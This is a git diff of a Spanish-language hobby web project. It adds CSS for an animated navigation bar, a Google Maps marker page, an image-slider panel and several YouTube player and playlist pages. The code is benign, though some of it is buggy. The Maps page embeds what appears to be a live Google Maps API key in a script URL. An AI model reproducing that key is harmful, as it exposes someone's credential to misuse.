/*position: relative;*/
|
||||||
|
|
||||||
|
}
|
||||||
|
.navigation ul{
|
||||||
|
display: flex;
|
||||||
|
width: 350px;
|
||||||
|
}
|
||||||
|
.navigation ul li{
|
||||||
|
position: relative;
|
||||||
|
list-style: none;
|
||||||
|
width: 70px;
|
||||||
|
height:70px;
|
||||||
|
z-index: 1;
|
||||||
|
}
|
||||||
|
.navigation ul li a{
|
||||||
|
position: relative;
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
align-items: center;
|
||||||
|
flex-direction: column;
|
||||||
|
width:100%;
|
||||||
|
text-align: center;
|
||||||
|
font-weight: 500;
|
||||||
|
}
|
||||||
|
.navigation ul li a .icon{
|
||||||
|
position: relative;
|
||||||
|
display: block;
|
||||||
|
line-height: 75px;
|
||||||
|
font-size: 1.5em;
|
||||||
|
text-align: center;
|
||||||
|
transition: 0.5s;
|
||||||
|
color: var(--clr);
|
||||||
|
}
|
||||||
|
.navigation ul li.active a .icon{
|
||||||
|
transform: translateY(-35px);
|
||||||
|
}
|
||||||
|
.navigation ul li a .text{
|
||||||
|
position: absolute;
|
||||||
|
color: var(--clr);
|
||||||
|
font-weight: 400;
|
||||||
|
font-size: 0.75em;
|
||||||
|
letter-spacing: 0.05em;
|
||||||
|
transition: 0.5s;
|
||||||
|
opacity: 0;
|
||||||
|
transform: translateY(20px);
|
||||||
|
}
|
||||||
|
.navigation ul li.active a .text{
|
||||||
|
opacity: 1;
|
||||||
|
transform: translateY(10px);
|
||||||
|
}
|
||||||
|
.indicator{
|
||||||
|
position: absolute;
|
||||||
|
top: 42.5%;
|
||||||
|
width: 70px;
|
||||||
|
height: 70px;
|
||||||
|
background: #29fd53;
|
||||||
|
border-radius: 50%;
|
||||||
|
border: 6px solid var(--clr);
|
||||||
|
transition: 0.5s;
|
||||||
|
}
|
||||||
|
.indicator::before{
|
||||||
|
content: '';
|
||||||
|
position: absolute;
|
||||||
|
top: 50%;
|
||||||
|
width: 22px;
|
||||||
|
height: 22px;
|
||||||
|
left: -22px;
|
||||||
|
/*background: #f00;*/
|
||||||
|
border-top-right-radius: 20px;
|
||||||
|
box-shadow: 0px -10px 0 0 var(--clr);
|
||||||
|
}
|
||||||
|
.indicator::after{
|
||||||
|
content: '';
|
||||||
|
position: absolute;
|
||||||
|
top: 50%;
|
||||||
|
width: 22px;
|
||||||
|
height: 22px;
|
||||||
|
right: -22px;
|
||||||
|
/*background: #f00;*/
|
||||||
|
border-top-left-radius: 20px;
|
||||||
|
box-shadow: 0px -10px 0 0 var(--clr);
|
||||||
|
}
|
||||||
|
|
||||||
|
.navigation ul li:nth-child(1).active ~ .indicator{
|
||||||
|
transform: translateX(calc(70px*0));
|
||||||
|
}
|
||||||
|
.navigation ul li:nth-child(2).active ~ .indicator{
|
||||||
|
transform: translateX(calc(70px*1));
|
||||||
|
}
|
||||||
|
.navigation ul li:nth-child(3).active ~ .indicator{
|
||||||
|
transform: translateX(calc(70px*2));
|
||||||
|
}
|
||||||
|
.navigation ul li:nth-child(4).active ~ .indicator{
|
||||||
|
transform: translateX(calc(70px*3));
|
||||||
|
}
|
||||||
|
.navigation ul li:nth-child(5).active ~ .indicator{
|
||||||
|
transform: translateX(calc(70px*4));
|
||||||
|
}
|
||||||
78
src/public/Html/menu.html
Normal file
78
src/public/Html/menu.html
Normal file
@@ -0,0 +1,78 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="es" dir="ltr">
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<title></title>
|
||||||
|
<link rel="stylesheet" type="text/css" href="menu.css">
|
||||||
|
<link rel="stylesheet" type="text/css" href="contenedor.css">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div class="container">
|
||||||
|
<div class="cubo">
|
||||||
|
<div>
|
||||||
|
<span style="--i:0;"></span>
|
||||||
|
<span style="--i:1;"></span>
|
||||||
|
<span style="--i:2;"></span>
|
||||||
|
<span style="--i:3;"></span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="navigation">
|
||||||
|
<ul>
|
||||||
|
<li class="list active">
|
||||||
|
<a href="#">
|
||||||
|
<span class="icon">
|
||||||
|
<ion-icon name="home-outline"></ion-icon>
|
||||||
|
</span>
|
||||||
|
<span class="text">Inicio</span>
|
||||||
|
</a>
|
||||||
|
</li>
|
||||||
|
<li class="list">
|
||||||
|
<a href="#">
|
||||||
|
<span class="icon">
|
||||||
|
<ion-icon name="chatbubble-outline"></ion-icon>
|
||||||
|
</span>
|
||||||
|
<span class="text">Soporte</span>
|
||||||
|
</a>
|
||||||
|
</li>
|
||||||
|
<li class="list">
|
||||||
|
<a href="#">
|
||||||
|
<span class="icon">
|
||||||
|
<ion-icon name="barcode-outline"></ion-icon>
|
||||||
|
</span>
|
||||||
|
<span class="text">Sinc</span>
|
||||||
|
</a>
|
||||||
|
</li>
|
||||||
|
<li class="list">
|
||||||
|
<a href="#">
|
||||||
|
<span class="icon">
|
||||||
|
<ion-icon name="finger-print-outline"></ion-icon>
|
||||||
|
</span>
|
||||||
|
<span class="text">Acceder</span>
|
||||||
|
</a>
|
||||||
|
</li>
|
||||||
|
<li class="list">
|
||||||
|
<a href="#">
|
||||||
|
<span class="icon">
|
||||||
|
<ion-icon name="settings-outline"></ion-icon>
|
||||||
|
</span>
|
||||||
|
<span class="text">Ajustes</span>
|
||||||
|
</a>
|
||||||
|
</li>
|
||||||
|
<div class="indicator"></div>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<script>
|
||||||
|
const list = document.querySelectorAll('.list');
|
||||||
|
function activeLink(){
|
||||||
|
list.forEach((item)=>
|
||||||
|
item.classList.remove('active'));
|
||||||
|
this.classList.add('active');
|
||||||
|
}
|
||||||
|
list.forEach((item)=>
|
||||||
|
item.addEventListener('click',activeLink));
|
||||||
|
</script>
|
||||||
|
<script type="module" src="https://unpkg.com/ionicons@5.5.2/dist/ionicons/ionicons.esm.js"></script>
|
||||||
|
<script nomodule src="https://unpkg.com/ionicons@5.5.2/dist/ionicons/ionicons.js"></script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
42
src/public/Html/obtenerPosicionGmaps.html
Normal file
42
src/public/Html/obtenerPosicionGmaps.html
Normal file
@@ -0,0 +1,42 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Document</title>
|
||||||
|
|
||||||
|
<link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons">
|
||||||
|
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.97.3/css/materialize.min.css">
|
||||||
|
<script type="text/javascript" src="https://code.jquery.com/jquery-3.5.0.min.js"></script>
|
||||||
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.97.3/js/materialize.min.js"></script>
|
||||||
|
|
||||||
|
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<input type="text" id="coords" />
|
||||||
|
<div id="mapa">
|
||||||
|
</div>
|
||||||
|
<script>
|
||||||
|
//Funcion principal
|
||||||
|
function initMap() {
|
||||||
|
var coord = { lat: -34.5956145, lng: -58.4431949 };
|
||||||
|
var map = new google.maps.Map(document.getElementById('mapa'), {
|
||||||
|
zoom: 10,
|
||||||
|
center: coord
|
||||||
|
});
|
||||||
|
var marker = new google.maps.Marker({
|
||||||
|
position: coord,
|
||||||
|
map: map,
|
||||||
|
draggable: true
|
||||||
|
});
|
||||||
|
document.getElementById('coords').Value=coord;
|
||||||
|
}
|
||||||
|
window.addEventListener('load',initMap,false);
|
||||||
|
</script>
|
||||||
|
<!--Google Map-->
|
||||||
|
<script async defer src="https://maps.googleapis.com/maps/api/js?key=AIzaSyD_mGoJG4jAVG95O5BZuFe1eskSlWn5Q1M&callback=initMap"></script>
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
||||||
43
src/public/Html/panel_chart_sigma.html
Normal file
43
src/public/Html/panel_chart_sigma.html
Normal file
@@ -0,0 +1,43 @@
|
|||||||
|
<html>
|
||||||
|
|
||||||
|
<head>
|
||||||
|
<style>
|
||||||
|
body {
|
||||||
|
background: rgb(40, 66, 83);
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
<script>
|
||||||
|
var lista_img = [
|
||||||
|
"https://refinariadedados.com.br/wp-content/uploads/2019/10/timser.gif.webp",
|
||||||
|
"http://tuderechoasaber.com.do/wp-content/uploads/2019/02/blockchain.gif",
|
||||||
|
"https://exceljet.net/sites/default/files/styles/original_with_watermark/public/images/charttypes/column%20chart.png?itok=CLQDjIt5",
|
||||||
|
"https://i.pinimg.com/originals/c8/d4/0e/c8d40e9ec4ffd4f3af527eb40ba80462.gif"
|
||||||
|
];
|
||||||
|
window.onload = slider_img;
|
||||||
|
var c=0;
|
||||||
|
function slider_img() {
|
||||||
|
//var img = document.getElementById('chart_images');
|
||||||
|
var img = document.getElementById('img_chart');
|
||||||
|
//document.getElementById("ID_del_div").innerHTML='<img src="./direccion_imagen.jpg" />';
|
||||||
|
img.innerHTML = '<img src="' + lista_img[c] + '" width="400" height="250"/>';
|
||||||
|
console.log("Num Imagenes "+lista_img.length+" index "+c);
|
||||||
|
if(c<lista_img.length-1){
|
||||||
|
//console.log(lista_img[c]+" index="+c);
|
||||||
|
c++;
|
||||||
|
}else{
|
||||||
|
//console.log("reinicio");
|
||||||
|
c=0;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
window.setInterval(slider_img, 5000);
|
||||||
|
//window.setTimeout
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<h2>Metas de Produccion</h2>
|
||||||
|
<div id="img_chart"></div>
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
||||||
55
src/public/Html/pruebaControl.html
Normal file
55
src/public/Html/pruebaControl.html
Normal file
@@ -0,0 +1,55 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Document</title>
|
||||||
|
<style>
|
||||||
|
.ctrl_display {
|
||||||
|
display: block;
|
||||||
|
}
|
||||||
|
|
||||||
|
.ctrlVol_fondo {
|
||||||
|
right: 10%;
|
||||||
|
top: 7px;
|
||||||
|
height: 110px;
|
||||||
|
width: 50px;
|
||||||
|
background: rgb(179, 174, 174);
|
||||||
|
border-radius: 5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.ctrlVol_base {
|
||||||
|
background: rgba(0, 0, 100, .5);
|
||||||
|
top: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.ctrlVol_base input {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
.circulo {
|
||||||
|
border-radius: 50%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.girar90g {
|
||||||
|
ms-transform: rotate(-90deg);
|
||||||
|
/* IE 9 */
|
||||||
|
-webkit-transform: rotate(-90deg);
|
||||||
|
/* Chrome, Safari, Opera */
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<div class="ctrlVol_fondo">
|
||||||
|
<div class="ctrlVol_base girar90g">
|
||||||
|
<span>.......................</span>
|
||||||
|
</div>
|
||||||
|
<input type="range" min="0" max="100" class="girar90g">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
||||||
217
src/public/Html/rep.html
Normal file
217
src/public/Html/rep.html
Normal file
@@ -0,0 +1,217 @@
|
|||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<style>
|
||||||
|
@font-face {
|
||||||
|
font-family: "DS-DIGI";
|
||||||
|
src: url("DS-DIGI.TTF");
|
||||||
|
}
|
||||||
|
#video-placeholder{
|
||||||
|
/*display: none;*/
|
||||||
|
width: 0.5px;
|
||||||
|
height:0.5px;
|
||||||
|
}
|
||||||
|
button{
|
||||||
|
background: transparent;
|
||||||
|
border:none;
|
||||||
|
}
|
||||||
|
button:focus{
|
||||||
|
outline: none;
|
||||||
|
}
|
||||||
|
.parlante{
|
||||||
|
margin-top:50px;
|
||||||
|
width: 100px;
|
||||||
|
height: 100px;
|
||||||
|
display: -webkit-flex; /* Safari */
|
||||||
|
-webkit-align-items: center; /* Safari 7.0+ */
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
text-align: center;
|
||||||
|
display: -webkit-flex; /* Safari */
|
||||||
|
-webkit-justify-content: space-around; /* Safari 6.1+ */
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-around;
|
||||||
|
}
|
||||||
|
.parlante img{
|
||||||
|
position: absolute;
|
||||||
|
}
|
||||||
|
.container-button{
|
||||||
|
position: absolute;
|
||||||
|
|
||||||
|
}
|
||||||
|
.container-button button{
|
||||||
|
cursor: pointer;
|
||||||
|
color: #7b7b7c;
|
||||||
|
}
|
||||||
|
|
||||||
|
.clockdate-wrapper {
|
||||||
|
max-width:350px;
|
||||||
|
width:100%;
|
||||||
|
text-align:center;
|
||||||
|
border-radius:5px;
|
||||||
|
margin:0 auto;
|
||||||
|
margin-top:15%;
|
||||||
|
}
|
||||||
|
#clock{
|
||||||
|
font-family: "DS-DIGI";
|
||||||
|
font-size:20px;
|
||||||
|
text-shadow:0px 0px 1px #fff;
|
||||||
|
color:#fff;
|
||||||
|
padding-bottom: 4px;
|
||||||
|
}
|
||||||
|
#clock span {
|
||||||
|
/*color:#888;*/
|
||||||
|
/*text-shadow:0px 0px 1px #333;*/
|
||||||
|
font-size:20px;
|
||||||
|
position:relative;
|
||||||
|
/*top:-27px;
|
||||||
|
left:-10px;*/
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
<script src="https://use.fontawesome.com/785f5fdffd.js"></script>
|
||||||
|
<Title>parlante</Title>
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body onload="startTime()">
|
||||||
|
|
||||||
|
<div class="parlante">
|
||||||
|
<img id="parlante" src="parlante.png" width="100px">
|
||||||
|
|
||||||
|
<div class="container-button">
|
||||||
|
|
||||||
|
<div class="clockdate-wrapper">
|
||||||
|
<div id="clock"></div>
|
||||||
|
</div>
|
||||||
|
<button id="play" ></button>
|
||||||
|
<button id="mute-toggle"><i class="fa fa-volume-up" aria-hidden="true"></i></button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<input id="txtmusica" type="text" name="" value="">
|
||||||
|
<button type="button" background="yellow" name="button" onclick="añadirLista()">agregar</button>
|
||||||
|
<div id="listaRep">
|
||||||
|
<textarea id="ListaY" name="ListaY" rows="8" cols="80"></textarea>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- -->
|
||||||
|
|
||||||
|
<div id="video-placeholder"></div>
|
||||||
|
|
||||||
|
<script src="http://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
|
||||||
|
<script src="http://cdnjs.cloudflare.com/ajax/libs/highlight.js/8.6/highlight.min.js"></script>
|
||||||
|
<script src="https://www.youtube.com/iframe_api"></script>
|
||||||
|
<script type="text/javascript">
|
||||||
|
|
||||||
|
function añadirLista(){
|
||||||
|
var ListMusica = new Array();
|
||||||
|
var nuevoitem = document.getElementById('txtmusica').value;
|
||||||
|
ListMusica.push = nuevoitem.value;
|
||||||
|
|
||||||
|
|
||||||
|
console.log(ListMusica[0], nuevoitem)
|
||||||
|
}
|
||||||
|
var player;
|
||||||
|
var playif;
|
||||||
|
var idVideo;
|
||||||
|
var listaRepY=['8E4Y37YSedk','jdeq6lJXpj0','OCPC19HXwu0'];
|
||||||
|
|
||||||
|
function onYouTubeIframeAPIReady() {
|
||||||
|
idVideo = listaRepY[0];
|
||||||
|
console.log(idVideo);
|
||||||
|
playif=true;
|
||||||
|
player = new YT.Player('video-placeholder', {
|
||||||
|
videoId: idVideo ,
|
||||||
|
playerVars: {
|
||||||
|
autoplay: 1,
|
||||||
|
loop: 1,
|
||||||
|
color: 'white',
|
||||||
|
playlist:idVideo
|
||||||
|
},
|
||||||
|
events: {
|
||||||
|
onReady: initialize
|
||||||
|
}
|
||||||
|
});
|
||||||
|
ifplay($('#play'));
|
||||||
|
}
|
||||||
|
|
||||||
|
function initialize(){
|
||||||
|
// Update the controls on load
|
||||||
|
updateTimerDisplay();
|
||||||
|
updateProgressBar();
|
||||||
|
// Clear any old interval.
|
||||||
|
clearInterval(time_update_interval);
|
||||||
|
// Start interval to update elapsed time display and
|
||||||
|
// the elapsed part of the progress bar every second.
|
||||||
|
time_update_interval = setInterval(function () {
|
||||||
|
updateTimerDisplay();
|
||||||
|
updateProgressBar();
|
||||||
|
console.log("hola")
|
||||||
|
}, 1000)
|
||||||
|
}
|
||||||
|
|
||||||
|
$('#play').on('click', function () {
|
||||||
|
if(!playif){
|
||||||
|
console.log('play')
|
||||||
|
$(this).html('<i class="fa fa-pause" aria-hidden="true"></i>');
|
||||||
|
player.playVideo();
|
||||||
|
}else{
|
||||||
|
$(this).html('<i class="fa fa-play" aria-hidden="true"></i>');
|
||||||
|
console.log('pause',$(this))
|
||||||
|
player.pauseVideo();
|
||||||
|
}
|
||||||
|
playif=!playif;
|
||||||
|
});
|
||||||
|
|
||||||
|
function ifplay(boton){
|
||||||
|
console.log(playif)
|
||||||
|
console.log(boton);
|
||||||
|
if(playif){
|
||||||
|
console.log('play');
|
||||||
|
$(boton).html('<i class="fa fa-pause" aria-hidden="true"></i>');
|
||||||
|
}else{
|
||||||
|
$(boton).html('<i class="fa fa-play" aria-hidden="true"></i>');
|
||||||
|
}
|
||||||
|
player.setVolume(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
$('#pause').on('click', function () {
|
||||||
|
player.pauseVideo();
|
||||||
|
});
|
||||||
|
|
||||||
|
$('#mute-toggle').on('click', function() {
|
||||||
|
var mute_toggle = $(this);
|
||||||
|
if(player.isMuted()){
|
||||||
|
player.unMute();
|
||||||
|
mute_toggle.html('<i class="fa fa-volume-up" aria-hidden="true"></i>');
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
player.mute();
|
||||||
|
mute_toggle.html('<i class="fa fa-volume-off" aria-hidden="true"></i>');
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
function startTime() {
|
||||||
|
var today = new Date();
|
||||||
|
var hr = today.getHours();
|
||||||
|
var min = today.getMinutes();
|
||||||
|
var sec = today.getSeconds();
|
||||||
|
var ap = (hr < 12) ? "<span>AM</span>" : "<span>PM</span>";
|
||||||
|
hr = (hr == 0) ? 12 : hr;
|
||||||
|
hr = (hr > 12) ? hr - 12 : hr;
|
||||||
|
//Add a zero in front of numbers<10
|
||||||
|
min = checkTime(min);
|
||||||
|
sec = checkTime(sec);
|
||||||
|
document.getElementById("clock").innerHTML = hr + " : " + min + "<br> " + sec+" "+ap;
|
||||||
|
// document.getElementById("clock").innerHTML = hr + " : " + min ;
|
||||||
|
var time = setTimeout(function(){ startTime() }, 500);
|
||||||
|
}
|
||||||
|
|
||||||
|
function checkTime(i) {
|
||||||
|
if (i < 10) {
|
||||||
|
i = "0" + i;
|
||||||
|
}
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
|
||||||
|
</script>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
15
src/public/Html/reproductor.html
Normal file
15
src/public/Html/reproductor.html
Normal file
@@ -0,0 +1,15 @@
|
|||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<script src="https://www.youtube.com/iframe_api"></script>
|
||||||
|
<script src="https://cdn.rawgit.com/labnol/files/master/yt.js"></script>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div data-video="Qo9GyytH17o"
|
||||||
|
data-autoplay="1"
|
||||||
|
data-loop="1"
|
||||||
|
id="Qo9GyytH17o">
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
||||||
18
src/public/Html/search.js
Normal file
18
src/public/Html/search.js
Normal file
@@ -0,0 +1,18 @@
|
|||||||
|
// After the API loads, call a function to enable the search box.
|
||||||
|
function handleAPILoaded() {
|
||||||
|
$('#search-button').attr('disabled', false);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Search for a specified string.
|
||||||
|
function search() {
|
||||||
|
var q = $('#query').val();
|
||||||
|
var request = gapi.client.youtube.search.list({
|
||||||
|
q: q,
|
||||||
|
part: 'snippet'
|
||||||
|
});
|
||||||
|
|
||||||
|
request.execute(function(response) {
|
||||||
|
var str = JSON.stringify(response.result);
|
||||||
|
$('#search-container').html('<pre>' + str + '</pre>');
|
||||||
|
});
|
||||||
|
}
|
||||||
17
src/public/Html/test_boostrap.html
Normal file
17
src/public/Html/test_boostrap.html
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Document</title>
|
||||||
|
|
||||||
|
<!-- CSS only -->
|
||||||
|
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-iYQeCzEYFbKjA/T2uDLTpkwGzCiq6soy8tYaI1GyVh/UjpbCx/TYkiZhlZB6+fzT" crossorigin="anonymous">
|
||||||
|
<!-- JavaScript Bundle with Popper -->
|
||||||
|
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.1/dist/js/bootstrap.bundle.min.js" integrity="sha384-u1OknCvxWvY5kfmNBILK2hRnQC3Pr17a+RTT6rIHI7NnikvbZlHgTPOOmMi466C8" crossorigin="anonymous"></script>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
124
src/public/Html/youtube.html
Normal file
124
src/public/Html/youtube.html
Normal file
@@ -0,0 +1,124 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Document</title>
|
||||||
|
<!--script src="https://www.youtube.com/iframe_api"></script-->
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<div class="playlist">
|
||||||
|
<textarea name="Yt" id="" cols="30" rows="10"></textarea>
|
||||||
|
<input type="text" id="txtIdVideo">
|
||||||
|
<button class="btn" onclick="cargaVideo()">Add</button>
|
||||||
|
</div>
|
||||||
|
<div id="ytplayer"></div>
|
||||||
|
<div class="cotroles">
|
||||||
|
<button class="btn" id="" onclick="inicia()">Play</button>
|
||||||
|
<button class="btn" onclick="pausa()">Pause</button>
|
||||||
|
<button class="btn" onclick="stopVideo()">Stop</button>
|
||||||
|
<button class="btn" onclick="siguiente()">siguiente</button>
|
||||||
|
<button class="btn" onclick="info()">info</button>
|
||||||
|
</div>
|
||||||
|
<a href="#" id="play-button">Play</a>
|
||||||
|
<a href="#" id="pause-button">Pause</a>
|
||||||
|
|
||||||
|
<script type="text/javascript">
|
||||||
|
var listaRepY = ['Qo9GyytH17o', 'jdeq6lJXpj0', 'OCPC19HXwu0', 'AnF_VOliv0E', 'MM0lWsvieaE', 'SM_1vxkMjkY'];
|
||||||
|
var idVideo = listaRepY[5];
|
||||||
|
|
||||||
|
|
||||||
|
// Replace the 'ytplayer' element with an <iframe> and
|
||||||
|
// YouTube player after the API code downloads.
|
||||||
|
var player;
|
||||||
|
function onYouTubePlayerAPIReady() {
|
||||||
|
player = new YT.Player('ytplayer', {
|
||||||
|
height: '360',
|
||||||
|
width: '640',
|
||||||
|
videoId: idVideo,
|
||||||
|
playerVars: {
|
||||||
|
autoplay: 1,
|
||||||
|
loop: 1,
|
||||||
|
color: 'white',
|
||||||
|
playlist: idVideo,
|
||||||
|
controls: 0,
|
||||||
|
iv_load_policy: 3,
|
||||||
|
showinfo: 0,
|
||||||
|
},
|
||||||
|
events: {
|
||||||
|
'onReady': onPlayerReady
|
||||||
|
//'onStateChange': onPlayerStateChange
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function onPlayerReady(event) {
|
||||||
|
|
||||||
|
// bind events
|
||||||
|
var playButton = document.getElementById("play-button");
|
||||||
|
playButton.addEventListener("click", function () {
|
||||||
|
player.playVideo();
|
||||||
|
});
|
||||||
|
|
||||||
|
var pauseButton = document.getElementById("pause-button");
|
||||||
|
pauseButton.addEventListener("click", function () {
|
||||||
|
player.pauseVideo();
|
||||||
|
});
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
// Inject YouTube API script
|
||||||
|
var tag = document.createElement('script');
|
||||||
|
tag.src = "//www.youtube.com/player_api";
|
||||||
|
var firstScriptTag = document.getElementsByTagName('script')[0];
|
||||||
|
firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);
|
||||||
|
|
||||||
|
function inicia() {
|
||||||
|
onYouTubePlayerAPIReady();
|
||||||
|
player.playVideo();
|
||||||
|
console.log("Play");
|
||||||
|
}
|
||||||
|
function pausa() {
|
||||||
|
player.pauseVideo();
|
||||||
|
console.log("pause");
|
||||||
|
}
|
||||||
|
function stopVideo() {
|
||||||
|
player.stopVideo();
|
||||||
|
console.log("Stop");
|
||||||
|
}
|
||||||
|
let c = 0;
|
||||||
|
function siguiente() {
|
||||||
|
//player.siguiente();
|
||||||
|
|
||||||
|
console.log("Siguiente");
|
||||||
|
if (c < listaRepY.length) {
|
||||||
|
c++;
|
||||||
|
console.log(c + " suma");
|
||||||
|
} else {
|
||||||
|
c = 0;
|
||||||
|
}
|
||||||
|
idVideo = listaRepY[c];
|
||||||
|
console.log(c + "=" + listaRepY.length);
|
||||||
|
}
|
||||||
|
function cargaVideo() {
|
||||||
|
var nVideo = document.getElementById('txtIdVideo').value;
|
||||||
|
console.log(nVideo);
|
||||||
|
loadVideoById(listaRepY[0], 5, "large")
|
||||||
|
}
|
||||||
|
function info() {
|
||||||
|
console.log(player.getPlayerState());;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Load the IFrame Player API code asynchronously.
|
||||||
|
var tag = document.createElement('script');
|
||||||
|
tag.src = "https://www.youtube.com/player_api";
|
||||||
|
var firstScriptTag = document.getElementsByTagName('script')[0];
|
||||||
|
firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);
|
||||||
|
</script>
|
||||||
|
<!--script src="control.js"></script-->
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
||||||
207
src/public/css/telcotronics.css
Normal file
207
src/public/css/telcotronics.css
Normal file
@@ -0,0 +1,207 @@
|
|||||||
|
/* General Reset */
|
||||||
|
* {
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
box-sizing: border-box;
|
||||||
|
}
|
||||||
|
|
||||||
|
body {
|
||||||
|
font-family: 'Roboto', sans-serif;
|
||||||
|
line-height: 1.6;
|
||||||
|
color: #333;
|
||||||
|
background-color: #f9f9f9;
|
||||||
|
}
|
||||||
|
|
||||||
|
.container {
|
||||||
|
width: 90%;
|
||||||
|
max-width: 1200px;
|
||||||
|
margin: 0 auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Header */
|
||||||
|
.header {
|
||||||
|
background: #004080;
|
||||||
|
color: #fff;
|
||||||
|
padding: 1rem 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.header .logo {
|
||||||
|
font-size: 1.5rem;
|
||||||
|
font-weight: bold;
|
||||||
|
}
|
||||||
|
|
||||||
|
.header .navigation ul {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-around;
|
||||||
|
list-style: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.header .navigation ul li a {
|
||||||
|
color: #fff;
|
||||||
|
text-decoration: none;
|
||||||
|
padding: 0.5rem 1rem;
|
||||||
|
transition: background-color 0.3s;
|
||||||
|
}
|
||||||
|
|
||||||
|
.header .navigation ul li a:hover {
|
||||||
|
background: #0066cc;
|
||||||
|
border-radius: 5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Hero Section */
|
||||||
|
.hero {
|
||||||
|
background: linear-gradient(to right, #004080, #0066cc);
|
||||||
|
color: #fff;
|
||||||
|
text-align: center;
|
||||||
|
padding: 4rem 2rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.hero h1 {
|
||||||
|
font-size: 2.5rem;
|
||||||
|
margin-bottom: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.hero p {
|
||||||
|
font-size: 1.2rem;
|
||||||
|
margin-bottom: 2rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.hero .btn-primary {
|
||||||
|
background: #ffaa00;
|
||||||
|
color: #fff;
|
||||||
|
padding: 0.75rem 1.5rem;
|
||||||
|
text-decoration: none;
|
||||||
|
border-radius: 5px;
|
||||||
|
transition: background-color 0.3s;
|
||||||
|
}
|
||||||
|
|
||||||
|
.hero .btn-primary:hover {
|
||||||
|
background: #cc8800;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Carousel Section */
|
||||||
|
.carousel {
|
||||||
|
position: relative;
|
||||||
|
overflow: hidden;
|
||||||
|
width: 100%;
|
||||||
|
margin: 2rem 0;
|
||||||
|
}
